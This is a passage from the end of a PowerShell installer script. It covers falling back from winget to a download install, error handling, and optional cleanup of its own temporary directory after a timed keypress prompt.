        Write-ColorText "[INFO] Windows 7/8 detected, using download method..." -Color Yellow
    }
    
    # Fallback to download method if winget failed
    if (-not $installSuccess) {
        $installSuccess = Install-WithDownload
    }
    
    # Cleanup
    Remove-TempFiles
    
    if ($installSuccess) {
        Show-CompletionMessage
    }
    else {
        Write-ColorText "[ERROR] Installation failed. Please try again or install manually." -Color Red
        exit 1
    }
}
catch {
    Write-ColorText "[ERROR] An unexpected error occurred: $($_.Exception.Message)" -Color Red
    Write-ColorText "[ERROR] Stack trace: $($_.ScriptStackTrace)" -Color Red
    Remove-TempFiles
    exit 1
}
finally {
    # Reset location
    if (Test-Path $env:TEMP) {
        Set-Location $env:TEMP
    }
}

# Clean up temporary files for online script execution
if (-not $NoCleanup) {
    $choice = $null
    $timeout = 5
    Write-Host ""
    Write-Host "Clean up temporary files? (Y=Yes, N=No, or wait $timeout seconds for auto-cleanup)" -ForegroundColor Yellow
    
    # Simple timeout implementation
    $startTime = Get-Date
    while (((Get-Date) - $startTime).TotalSeconds -lt $timeout) {
        if ([Console]::KeyAvailable) {
            $key = [Console]::ReadKey($true)
            if ($key.Key -eq 'Y' -or $key.Key -eq 'y') {
                $choice = 'Y'
                break
            }
            elseif ($key.Key -eq 'N' -or $key.Key -eq 'n') {
                $choice = 'N'
                break
            }
        }
        Start-Sleep -Milliseconds 100
    }
    
    if ($choice -ne 'N') {
        Write-ColorText "[INFO] Cleaning up temporary files..." -Color Yellow
        
        # For online scripts, we only clean up temp directories we created
        # No need to delete the script itself since it's executed from memory
        try {
            if (Test-Path $TempDir) {
                Remove-Item $TempDir -Recurse -Force -ErrorAction SilentlyContinue
                Write-ColorText "[SUCCESS] Temporary files cleaned up" -Color Green
            }
        } catch {
            Write-ColorText "[WARNING] Some temporary files may remain in $TempDir" -Color Yellow
        }
        
        Write-ColorText "[INFO] Installation completed successfully!" -Color Green
        exit 0
    }
}

Write-ColorText "[INFO] Press any key to exit..." -Color Green
$null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")